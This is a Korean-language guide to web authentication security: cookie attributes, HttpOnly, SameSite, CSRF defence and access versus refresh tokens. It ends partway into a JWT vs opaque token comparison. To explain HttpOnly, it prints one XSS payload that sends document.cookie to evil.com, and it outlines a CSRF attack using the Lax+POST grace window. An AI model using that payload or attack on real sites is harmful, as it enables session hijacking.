웹 인증 토큰과 쿠키 보안 완전 가이드
TL;DR
- 웹 인증 토큰과 쿠키 보안 완전 가이드의 핵심 개념을 빠르게 파악할 수 있다.
- 배경과 이유를 통해 왜 필요한지 맥락을 이해할 수 있다.
- 특징과 상세 내용을 통해 실무 적용 포인트를 확인할 수 있다.
1. 개념
웹 인증 토큰과 쿠키 보안 완전 가이드의 핵심 정의와 문제 공간을 간단히 정리한다.
2. 배경
이 주제가 등장한 기술적·조직적 배경과 기존 접근의 한계를 설명한다.
3. 이유
왜 지금 이 방식을 채택해야 하는지, 기대 효과와 트레이드오프를 함께 정리한다.
4. 특징
핵심 동작 방식, 장단점, 적용 시 주의점을 빠르게 훑을 수 있도록 요약한다.
5. 상세 내용
웹 인증 토큰과 쿠키 보안 완전 가이드
작성일: 2026-03-05 범위: Login → Access Token / Refresh Token → HttpOnly Cookie → Set-Cookie → 저장 전략 → BFF 패턴 → DPoP → 대기업 구현 사례 → 2025-2026 트렌드 포함 내용: HttpOnly, Set-Cookie, SameSite, CSRF, XSS, JWT, Access Token, Refresh Token, Bearer Token, Opaque Token, PKCE, DPoP, BFF, FedCM, GNAP, mTLS, CHIPS, WebAuthn, Passkey, FIDO2, Token Rotation, Token Family, Proof-of-Possession, Sender-Constrained Token, OWASP, Zero Trust
목차
- 용어 사전
- Set-Cookie 헤더 완전 분석
- HttpOnly 쿠키 심층 분석
- Access Token vs Refresh Token
- 토큰 저장 전략 비교
- Refresh Token Rotation과 재사용 탐지
- BFF (Backend-for-Frontend) 패턴
- OAuth 2.0 DPoP (Proof-of-Possession)
- 대기업 인증 구현 사례
- 2025-2026 인증 트렌드
- OWASP 권장사항
- 실전 아키텍처 결정 가이드
- 키워드 색인
1. 용어 사전
┌──────────────────────────────────────────────────────────────────────────────┐
│ 웹 인증 핵심 용어 사전 │
├────────────────────┬───────────────────────────┬─────────────────────────────┤
│ 영문 용어 │ 한국어 의미 │ 유래 / 비고 │
├────────────────────┼───────────────────────────┼─────────────────────────────┤
│ HttpOnly │ JS 접근 차단 쿠키 속성 │ MS IE6 SP1 (2002) 최초 도입 │
│ Set-Cookie │ 서버→브라우저 쿠키 설정 │ RFC 2109 (1997) 최초 정의 │
│ SameSite │ 동일 사이트 쿠키 전송 제한 │ Chrome 51 (2016) 최초 구현 │
│ CSRF │ 사이트 간 요청 위조 │ Cross-Site Request Forgery │
│ XSS │ 사이트 간 스크립트 삽입 │ Cross-Site Scripting │
│ JWT │ JSON 웹 토큰 │ RFC 7519 (2015) │
│ Access Token │ 리소스 접근용 단기 토큰 │ OAuth 2.0 RFC 6749 │
│ Refresh Token │ AT 재발급용 장기 토큰 │ OAuth 2.0 RFC 6749 │
│ Bearer Token │ 소지자 인증 토큰 │ "소지한 자가 곧 인증자" │
│ Opaque Token │ 의미 없는 랜덤 문자열 토큰 │ 서버 측 조회 필수 │
│ PKCE │ 코드 교환 증명 키 │ Proof Key for Code Exchange │
│ DPoP │ 소유 증명 (토큰 바인딩) │ Demonstration of PoP │
│ BFF │ 프론트엔드 전용 백엔드 │ Backend-for-Frontend │
│ FedCM │ 연합 자격 증명 관리 API │ Federated Credential Mgmt │
│ GNAP │ 차세대 인가 프로토콜 │ Grant Negotiation & AuthZ │
│ mTLS │ 상호 TLS 인증 │ mutual TLS │
│ CHIPS │ 독립 파티션 쿠키 │ Cookies Having Independent │
│ │ │ Partitioned State │
│ WebAuthn │ 웹 인증 API │ Web Authentication API │
│ Passkey │ 패스키 (비밀번호 대체) │ FIDO Alliance 브랜드명 │
│ FIDO2 │ 생체/하드웨어 인증 표준 │ Fast IDentity Online 2 │
│ Token Rotation │ 토큰 순환 (일회용 RT) │ 사용 시 새 RT 발급 │
│ Token Family │ 토큰 가족 (계보 추적) │ 동일 세션 RT 그룹 │
│ Session Fixation │ 세션 고정 공격 │ 공격자가 세션 ID 미리 설정 │
│ Proof-of-Possession│ 소유 증명 │ 토큰과 키 쌍의 암호학적 결합 │
│ Sender-Constrained │ 발신자 제한 토큰 │ 특정 클라이언트만 사용 가능 │
│ Token │ │ │
│ eTLD+1 │ 유효 최상위 도메인 +1 │ effective TLD + 1 label │
│ Public Suffix List │ 공개 접미사 목록 │ Mozilla 관리 도메인 목록 │
└────────────────────┴───────────────────────────┴─────────────────────────────┘
2. Set-Cookie 헤더 완전 분석
2.1 Set-Cookie 문법 전체 구조
┌─────────────────────────────────────────────────────────────────────────────┐
│ Set-Cookie 헤더 완전한 문법 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Set-Cookie: <name>=<value> │
│ [; Expires=<date>] │
│ [; Max-Age=<seconds>] │
│ [; Domain=<domain>] │
│ [; Path=<path>] │
│ [; Secure] │
│ [; HttpOnly] │
│ [; SameSite=Strict|Lax|None] │
│ [; Partitioned] │
│ │
│ 예시: │
│ Set-Cookie: __Host-Http-SID=abc123; │
│ Max-Age=3600; │
│ Path=/; │
│ Secure; │
│ HttpOnly; │
│ SameSite=Strict │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.2 각 속성 상세 설명
Name=Value (필수)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Name=Value │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - 유일한 필수 속성 │
│ - Name: 제어 문자, 공백, 세미콜론, 등호 사용 불가 │
│ - Value: 쌍따옴표로 감쌀 수 있음, 세미콜론/공백 포함 불가 │
│ │
│ ⚠️ 보안 주의: │
│ - 이름에 민감 정보 넣지 말 것 (쿠키 이름은 항상 노출) │
│ - 값은 URL 인코딩 권장 (특수 문자 안전 처리) │
│ - 최대 크기: 이름+값 합쳐서 4096 바이트 (브라우저 제한) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Expires vs Max-Age
┌─────────────────────────────────────────────────────────────────────────────┐
│ Expires vs Max-Age │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Expires: │
│ ├── 절대 시간 (GMT 형식): Thu, 01 Jan 2099 00:00:00 GMT │
│ ├── 클라이언트 시계 기준 → 시계 오차(clock skew) 문제 발생 가능 │
│ └── HTTP/1.0 시절부터 사용된 레거시 방식 │
│ │
│ Max-Age: │
│ ├── 상대 시간 (초 단위): Max-Age=3600 (1시간) │
│ ├── 쿠키 수신 시점부터 카운트다운 → 시계 오차 없음 │
│ ├── Max-Age=0 → 즉시 삭제 │
│ └── HTTP/1.1 (RFC 6265) 권장 방식 │
│ │
│ ⚡ 권장: Max-Age 사용 │
│ ├── 시계 오차 문제 없음 │
│ ├── 의미가 명확함 (3600초 = 1시간) │
│ └── 둘 다 있으면 Max-Age가 우선 (RFC 6265 Section 5.3) │
│ │
│ 둘 다 없으면? → Session Cookie (브라우저 닫으면 삭제) │
│ ⚠️ 단, 현대 브라우저의 "세션 복원" 기능이 세션 쿠키를 유지할 수 있음 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Domain 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Domain 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 생략한 경우 (권장): │
│ ├── Host-Only Cookie → 정확히 해당 호스트만 전송 │
│ ├── www.example.com 이 설정 → api.example.com 에 전송 안됨 │
│ └── 가장 안전한 방식 │
│ │
│ 명시한 경우: │
│ ├── Domain=example.com → example.com 및 모든 서브도메인에 전송 │
│ ├── www.example.com, api.example.com, evil.example.com 모두 수신 │
│ └── 서브도메인 중 하나라도 침해되면 쿠키 탈취 가능 │
│ │
│ ⚠️ 보안 규칙: │
│ - Public Suffix (co.kr, github.io 등)에는 Domain 설정 불가 │
│ - 상위 도메인에 대해 설정 불가 (sub.example.com이 example.com 설정 불가) │
│ - __Host- 접두사 쿠키는 Domain 속성 설정 자체가 금지 │
│ │
│ 예시: │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Set-Cookie: sid=abc │ │
│ │ → Host-Only: www.example.com 에서만 전송 │ │
│ │ │ │
│ │ Set-Cookie: sid=abc; Domain=example.com │ │
│ │ → *.example.com 모든 서브도메인에 전송 │ │
│ └───────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Path 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Path 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - Path=/api → /api, /api/users, /api/v2/data 등에만 전송 │
│ - 기본값: 현재 요청 URL의 디렉토리 경로 │
│ │
│ ⚠️ Path는 보안 경계가 아님! │
│ ├── 같은 Origin의 JS는 어떤 Path의 쿠키든 접근 가능 │
│ ├── iframe + document.cookie 로 우회 가능 │
│ └── 보안 목적으로 의존하면 안됨 — 편의성 용도로만 사용 │
│ │
│ 권장: Path=/ (루트)로 설정하고 보안은 다른 속성에 의존 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Secure 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Secure 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - HTTPS 연결에서만 쿠키 전송 │
│ - HTTP 요청에는 쿠키가 포함되지 않음 │
│ - 예외: localhost는 HTTP에서도 Secure 쿠키 설정/전송 가능 (개발 편의) │
│ │
│ ⚡ 프로덕션에서는 반드시 설정할 것 │
│ - Secure 없이 HTTP로 전송되면 네트워크 스니핑으로 토큰 탈취 가능 │
│ - HSTS와 함께 사용하면 다운그레이드 공격도 방어 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
HttpOnly 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ - document.cookie API에서 해당 쿠키를 숨김 │
│ - JavaScript로 읽기/쓰기/삭제 불가 │
│ - HTTP 요청(fetch, XHR)의 Cookie 헤더에는 자동 포함 │
│ │
│ 동작 원리: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ 서버 응답: │ │
│ │ Set-Cookie: token=abc; HttpOnly │ │
│ │ Set-Cookie: theme=dark │ │
│ │ │ │
│ │ 브라우저 JS 실행: │ │
│ │ console.log(document.cookie) │ │
│ │ // 출력: "theme=dark" (token은 보이지 않음!) │ │
│ │ │ │
│ │ fetch('/api/data', { credentials: 'include' }) │ │
│ │ // 요청 헤더: Cookie: token=abc; theme=dark │ │
│ │ // (HttpOnly 쿠키도 자동 전송됨) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ → 3장에서 심층 분석 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
SameSite 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 속성 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┬─────────────────────────────────────────────────────────┐ │
│ │ 값 │ 동작 │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ Strict │ 동일 사이트 요청에서만 전송 │ │
│ │ │ 외부 링크 클릭으로 진입해도 쿠키 미전송 │ │
│ │ │ → 최고 보안, 하지만 UX 불편 (외부 링크 진입 시 로그아웃) │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ Lax │ 안전한 Top-Level Navigation에서만 전송 │ │
│ │ (기본값) │ GET 링크 클릭 시 전송, POST/iframe/fetch 시 미전송 │ │
│ │ │ → Chrome 80+ 기본값, 실용적 보안/UX 균형 │ │
│ ├──────────┼─────────────────────────────────────────────────────────┤ │
│ │ None │ 모든 크로스 사이트 요청에서 전송 │ │
│ │ │ 반드시 Secure 속성 필수 │ │
│ │ │ → 서드파티 임베드, 위젯 등에 사용 │ │
│ └──────────┴─────────────────────────────────────────────────────────┘ │
│ │
│ ⚠️ Chrome 80 이전: 기본값이 None (모든 크로스사이트 요청에 전송) │
│ ⚡ Chrome 80 이후 (2020.02): 기본값이 Lax로 변경 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Partitioned (CHIPS) 속성
┌─────────────────────────────────────────────────────────────────────────────┐
│ Partitioned (CHIPS - Cookies Having Independent Partitioned State) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 서드파티 쿠키가 각 Top-Level Site별로 격리되어 저장 │
│ │
│ 기존 (파티션 없음): │
│ ┌────────────────┐ ┌────────────────┐ │
│ │ site-a.com │ │ site-b.com │ │
│ │ (embed.io) │ │ (embed.io) │ │
│ └───────┬────────┘ └───────┬────────┘ │
│ │ │ │
│ └──────┬────────────┘ │
│ ▼ │
│ embed.io 쿠키: sid=xyz ← 동일 쿠키, 사이트 간 추적 가능 │
│ │
│ CHIPS 적용 후: │
│ ┌────────────────┐ ┌────────────────┐ │
│ │ site-a.com │ │ site-b.com │ │
│ │ (embed.io) │ │ (embed.io) │ │
│ └───────┬────────┘ └───────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ [site-a.com, embed.io] [site-b.com, embed.io] │
│ sid=abc sid=xyz ← 파티션별 별도 쿠키, 추적 불가 │
│ │
│ 사용법: │
│ Set-Cookie: __Host-embed=abc; SameSite=None; Secure; Path=/; Partitioned │
│ │
│ 요구사항: SameSite=None + Secure + __Host- 접두사 권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.3 쿠키 이름 접두사 (Cookie Name Prefixes)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 쿠키 이름 접두사 시스템 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. __Secure- 접두사 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure 속성 필수 │ │
│ │ 예시: __Secure-SESSIONID=abc; Secure; HttpOnly; SameSite=Lax │ │
│ │ 용도: HTTPS에서만 전송됨을 보장 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 2. __Host- 접두사 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure 필수 + Domain 생략 + Path=/ │ │
│ │ 예시: __Host-SESSIONID=abc; Secure; HttpOnly; Path=/ │ │
│ │ 효과: Host-Only (서브도메인 전송 불가) + 루트 경로 고정 │ │
│ │ 용도: Cookie Tossing 공격 방어 (서브도메인에서 쿠키 덮어쓰기 불가) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 3. __Http- 접두사 (NEW - Chrome 140+, 2025) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure + HttpOnly 필수 │ │
│ │ 예시: __Http-TOKEN=abc; Secure; HttpOnly; SameSite=Strict │ │
│ │ 효과: JS 접근 차단이 이름 수준에서 보장됨 │ │
│ │ 용도: HttpOnly 누락 실수를 이름 접두사로 강제 방지 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 4. __Host-Http- 접두사 (NEW - 2025, 최대 보안) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 요구 조건: Secure + HttpOnly + Domain 생략 + Path=/ │ │
│ │ 예시: __Host-Http-SID=abc; Secure; HttpOnly; Path=/; │ │
│ │ SameSite=Strict │ │
│ │ 효과: Host-Only + JS 차단 + HTTPS 전용 + 루트 경로 고정 │ │
│ │ 용도: 2025 기준 가장 강력한 쿠키 보안 계약 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 보안 수준 비교: │
│ __Host-Http- > __Host- > __Http- > __Secure- > (접두사 없음) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
2.4 용도별 Set-Cookie 권장 설정
# 최대 보안 세션 쿠키 (단일 도메인, 2025 최신)
Set-Cookie: __Host-Http-SESSIONID=abc123; Max-Age=3600; Path=/; Secure; HttpOnly; SameSite=Strict
# 멀티 서브도메인 세션 (www + api + admin 공유)
Set-Cookie: __Secure-SESSIONID=abc123; Max-Age=2592000; Domain=example.org; Path=/; Secure; HttpOnly; SameSite=Lax
# Refresh Token 전용 쿠키
Set-Cookie: __Host-Http-RT=opaque_token_xyz; Max-Age=604800; Path=/auth/refresh; Secure; HttpOnly; SameSite=Strict
# 서드파티 임베드용 (CHIPS)
Set-Cookie: __Host-embed=abc123; SameSite=None; Secure; Path=/; Partitioned
# CSRF 토큰 (JS에서 읽어야 하므로 HttpOnly 없음)
Set-Cookie: __Secure-XSRF-TOKEN=csrf_abc; Max-Age=3600; Path=/; Secure; SameSite=Lax
2.5 RFC 역사
┌─────────────────────────────────────────────────────────────────────────────┐
│ Set-Cookie RFC 변천사 │
├──────────┬──────────────────────────────────────────────────────────────────┤
│ 연도 │ 표준 │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 1994 │ Netscape 쿠키 스펙 (비표준, 사실상 최초 구현) │
│ 1997 │ RFC 2109 - HTTP State Management Mechanism │
│ │ └── Set-Cookie2 제안 (실패, 브라우저 미구현) │
│ 2000 │ RFC 2965 - HTTP State Management Mechanism (개정) │
│ │ └── 역시 Set-Cookie2, 실패 │
│ 2011 │ RFC 6265 - HTTP State Management Mechanism (현행) │
│ │ └── Netscape 스펙을 공식화, Set-Cookie 표준화 │
│ 2016 │ SameSite 속성 Chrome 51 최초 구현 │
│ 2020 │ Chrome 80: SameSite=Lax 기본값 │
│ 2024 │ CHIPS (Partitioned) Chrome 안정 채널 출시 │
│ 2025.12 │ draft-ietf-httpbis-rfc6265bis-22 │
│ │ └── RFC 6265 후속, SameSite/Prefix/__Http- 공식화 진행 중 │
└──────────┴──────────────────────────────────────────────────────────────────┘
3. HttpOnly 쿠키 심층 분석
3.1 역사와 배경
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly 쿠키의 탄생 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2002년: Microsoft Internet Explorer 6 SP1 │
│ ├── XSS를 통한 세션 하이재킹이 심각한 문제로 대두 │
│ ├── MS가 독자적으로 HttpOnly 플래그 도입 │
│ ├── document.cookie에서 해당 쿠키를 숨기는 단순한 아이디어 │
│ └── 다른 브라우저들이 점차 채택 │
│ │
│ 2011년: RFC 6265에 공식 표준화 │
│ ├── Section 5.2.6: HttpOnly 속성 정의 │
│ ├── "non-HTTP API"에서의 접근을 제한 │
│ └── 사실상 모든 현대 브라우저에서 지원 │
│ │
│ 타임라인: │
│ 2002 ──── 2006 ──── 2009 ──── 2011 ──── 2020 ──── 2025 │
│ │ │ │ │ │ │ │
│ IE6 Firefox Chrome RFC SameSite __Http- │
│ SP1 지원 지원 6265 기본 Lax 접두사 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.2 브라우저 적용 메커니즘
// 서버 응답 헤더
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// Set-Cookie: theme=dark
// Set-Cookie: lang=ko
// 브라우저 내부 쿠키 저장소 (개념적 구조)
// ┌──────────────┬──────────────┬──────────┐
// │ Name │ Value │ HttpOnly │
// ├──────────────┼──────────────┼──────────┤
// │ sessionId │ abc123 │ true │ ← JS 접근 차단
// │ theme │ dark │ false │ ← JS 접근 허용
// │ lang │ ko │ false │ ← JS 접근 허용
// └──────────────┴──────────────┴──────────┘
// JavaScript에서의 동작
console.log(document.cookie);
// 출력: "theme=dark; lang=ko"
// → sessionId는 보이지 않음!
// 쿠키 설정 시도
document.cookie = "sessionId=hacked";
// → 새로운 sessionId 쿠키가 생성되지만,
// HttpOnly sessionId와는 별개 (서버에서 HttpOnly 플래그로 구분)
// HTTP 요청 시
fetch('/api/profile', { credentials: 'same-origin' });
// 요청 헤더: Cookie: sessionId=abc123; theme=dark; lang=ko
// → HttpOnly 쿠키도 자동으로 포함됨
3.3 HttpOnly가 보호하는 것과 보호하지 못하는 것
┌─────────────────────────────────────────────────────────────────────────────┐
│ HttpOnly의 보호 범위 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ✅ 보호하는 것: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. XSS를 통한 세션 토큰 탈취 │ │
│ │ 공격자가 <script>fetch('//evil.com?c='+document.cookie)</script>│ │
│ │ 를 삽입해도 HttpOnly 쿠키는 읽히지 않음 │ │
│ │ │ │
│ │ 2. 악성 브라우저 확장의 document.cookie 접근 │ │
│ │ (단, 확장의 권한이 높으면 우회 가능) │ │
│ │ │ │
│ │ 3. Third-Party 스크립트(광고, 분석 등)의 쿠키 접근 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ ❌ 보호하지 못하는 것: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. XSS 실행 자체 │ │
│ │ → 토큰 못 훔쳐도 authenticated fetch로 API 호출 가능 │ │
│ │ → 페이지 변조, 키로거 삽입, 피싱 UI 렌더링 가능 │ │
│ │ │ │
│ │ 2. CSRF (Cross-Site Request Forgery) │ │
│ │ → HttpOnly 쿠키도 자동 전송됨 → SameSite로 별도 방어 필요 │ │
│ │ │ │
│ │ 3. 네트워크 스니핑 (MITM) │ │
│ │ → HTTP 전송 시 Cookie 헤더에 평문 노출 → Secure 속성 필수 │ │
│ │ │ │
│ │ 4. 서버 사이드 취약점 (SQL Injection, SSRF 등) │ │
│ │ → HttpOnly는 클라이언트 측 방어만 담당 │ │
│ │ │ │
│ │ 5. 브라우저 취약점 / 물리적 접근 │ │
│ │ → 쿠키 저장소 직접 접근 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 핵심 교훈: │
│ HttpOnly는 "심층 방어(Defense in Depth)"의 한 레이어일 뿐 │
│ XSS 방어의 핵심은 입력 검증 + 출력 인코딩 + CSP │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.4 SameSite 진화 과정
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 속성 진화 타임라인 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Chrome 51 (2016.04): │
│ └── SameSite 속성 최초 구현, 기본값은 None │
│ │
│ Chrome 76 (2019.07): │
│ └── SameSite=None에 Secure 필수 요구 시작 │
│ │
│ Chrome 80 (2020.02): ⚡ 중대 변경점 │
│ ├── 기본값 None → Lax로 변경 │
│ ├── SameSite 미설정 쿠키는 Lax로 동작 │
│ └── 120초 Lax+POST 유예 기간 도입 (아래 설명) │
│ │
│ Chrome 86 (2020.10): │
│ └── Schemeful Same-Site 도입 │
│ http://example.com ≠ https://example.com (다른 사이트 취급) │
│ │
│ Chrome 118 (2023.10): │
│ └── CHIPS (Partitioned 쿠키) 안정화 │
│ │
│ Chrome 131 (2024.11): │
│ └── 서드파티 쿠키 제한 정책 조정 │
│ │
│ Chrome 140+ (2025): │
│ └── __Http- 쿠키 접두사 도입 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
120초 Lax+POST 유예 기간 (보안 갭)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Lax+POST 유예 기간 문제 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Chrome 80에서 기본값을 Lax로 바꾸면서 호환성 문제 발생: │
│ - SSO 로그인 후 POST redirect가 쿠키 없이 도착 → 로그인 실패 │
│ - 결제 콜백(POST)이 쿠키 없이 도착 → 결제 완료 실패 │
│ │
│ 해결책: 쿠키 생성 후 120초(2분) 동안은 Lax여도 POST에 전송 │
│ │
│ 공격 시나리오: │
│ 1. 피해자가 사이트에 로그인 (세션 쿠키 생성) │
│ 2. 120초 내에 공격자 사이트 방문 │
│ 3. 공격자가 자동 POST form 제출 │
│ 4. 세션 쿠키가 전송됨 → CSRF 성공! │
│ │
│ ⚠️ 이것이 SameSite=Lax만으로 CSRF 방어가 불완전한 이유 │
│ 권장: 중요 작업에는 SameSite=Strict 또는 추가 CSRF 토큰 사용 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Schemeful Same-Site
┌─────────────────────────────────────────────────────────────────────────────┐
│ Schemeful Same-Site (2021~) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 이전: http://example.com == https://example.com (같은 사이트) │
│ 이후: http://example.com ≠ https://example.com (다른 사이트!) │
│ │
│ → HTTP 페이지에서 HTTPS API로의 요청은 크로스사이트로 취급 │
│ → SameSite=Lax 쿠키가 전송되지 않음 │
│ → 모든 것을 HTTPS로 통일해야 하는 추가 이유 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
eTLD+1 정의와 Same-Site 판단
┌─────────────────────────────────────────────────────────────────────────────┐
│ eTLD+1 = effective Top-Level Domain + 1 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ eTLD(effective TLD)는 Public Suffix List(PSL)로 결정: │
│ https://publicsuffix.org/list/ │
│ │
│ ┌──────────────────────────┬────────┬──────────────────┐ │
│ │ URL │ eTLD │ eTLD+1 │ │
│ ├──────────────────────────┼────────┼──────────────────┤ │
│ │ www.example.com │ .com │ example.com │ │
│ │ api.example.com │ .com │ example.com │ │
│ │ shop.example.co.kr │ .co.kr │ example.co.kr │ │
│ │ user1.github.io │ .github.io │ user1.github.io│ │
│ │ user2.github.io │ .github.io │ user2.github.io│ │
│ └──────────────────────────┴────────┴──────────────────┘ │
│ │
│ Same-Site 판단: eTLD+1이 같으면 Same-Site │
│ ├── www.example.com ↔ api.example.com → Same-Site (둘 다 example.com) │
│ ├── user1.github.io ↔ user2.github.io → Cross-Site! │
│ │ (github.io가 PSL에 등록되어 있어 각각 독립 eTLD+1) │
│ └── example.com ↔ example.org → Cross-Site (다른 eTLD+1) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
3.5 CSRF 방어 비교 테이블
┌─────────────────────────────────────────────────────────────────────────────┐
│ SameSite 값별 CSRF 공격 벡터 차단 비교 │
├───────────────────┬──────────┬──────────┬──────────┬────────────────────────┤
│ 공격 벡터 │ Strict │ Lax │ None │ 설명 │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <a href> 클릭 │ ❌ 차단 │ ✅ 전송 │ ✅ 전송 │ Top-level GET nav │
│ (GET 네비게이션) │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <form method=POST>│ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ Cross-site POST │
│ 자동 제출 │ │ (주1) │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ fetch / XHR │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ JS 기반 크로스 요청 │
│ (credentials) │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <img src> │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ Sub-resource 요청 │
│ <script src> │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <iframe> │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ 임베드 요청 │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ window.open + │ ❌ 차단 │ ✅ 전송 │ ✅ 전송 │ Popup GET nav │
│ GET 네비게이션 │ │ │ │ │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ 302 Redirect POST │ ❌ 차단 │ ❌ 차단 │ ✅ 전송 │ POST redirect │
│ │ │ (주1) │ │ │
├───────────────────┴──────────┴──────────┴──────────┴────────────────────────┤
│ │
│ (주1) Lax의 120초 유예 기간 내에는 POST도 전송됨 → 완전하지 않은 방어 │
│ │
│ 결론: │
│ - SameSite=Strict: CSRF 완벽 차단, 하지만 외부 링크 진입 시 로그아웃 UX │
│ - SameSite=Lax: 대부분 차단, 120초 유예 갭 존재 │
│ - SameSite=None: CSRF 방어 없음, 별도 CSRF 토큰 필수 │
│ │
│ ⚡ 권장: SameSite=Strict (민감 작업) + SameSite=Lax (일반 세션) │
│ + Custom Header 검증 (이중 방어) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
4. Access Token vs Refresh Token
4.1 핵심 비교
┌─────────────────────────────────────────────────────────────────────────────┐
│ Access Token vs Refresh Token 비교 │
├──────────────────┬──────────────────────┬───────────────────────────────────┤
│ 항목 │ Access Token (AT) │ Refresh Token (RT) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 목적 │ API 리소스 접근 │ 새 AT 발급 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 일반적 수명 │ 5~15분 (2025 권장) │ 7~30일 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 검증 주체 │ Resource Server │ Authorization Server만 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 즉시 폐기 가능? │ JWT: 불가 (만료 대기)│ 가능 (서버 DB에서 삭제) │
│ │ Opaque: 가능 │ │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 전송 대상 │ 모든 API 서버 │ 토큰 엔드포인트만 │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 권장 형식 (2025) │ 단기 JWT │ Opaque (서버 사이드 저장) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 포함 정보 │ scope, sub, aud 등 │ 없음 (식별자만) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 탈취 시 영향 │ 제한적 (짧은 수명) │ 심각 (장기 접근 가능) │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 보안 핵심 원칙 │ 수명을 극도로 짧게 │ 안전한 저장 + Rotation │
└──────────────────┴──────────────────────┴───────────────────────────────────┘
4.2 JWT vs Opaque Token
┌─────────────────────────────────────────────────────────────────────────────┐
│ JWT vs Opaque Token 비교 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ JWT (JSON Web Token): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ - 자체 포함(Self-Contained): 토큰 안에 사용자 정보 포함 │ │
│ │ - 로컬 검증: 서명만 확인하면 됨, DB 조회 불필요 │ │
│ │ - 즉시 폐기 불가: 만료 전까지 유효 (블랙리스트 구현 시 가능) │ │
│ │ - Base64 디코딩으로 내용 열람 가능 (서명만 보호, 암호화 아님) │ │
│ │ - 크기가 큼: 일반적으로 800-2000 바이트 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Opaque Token: │
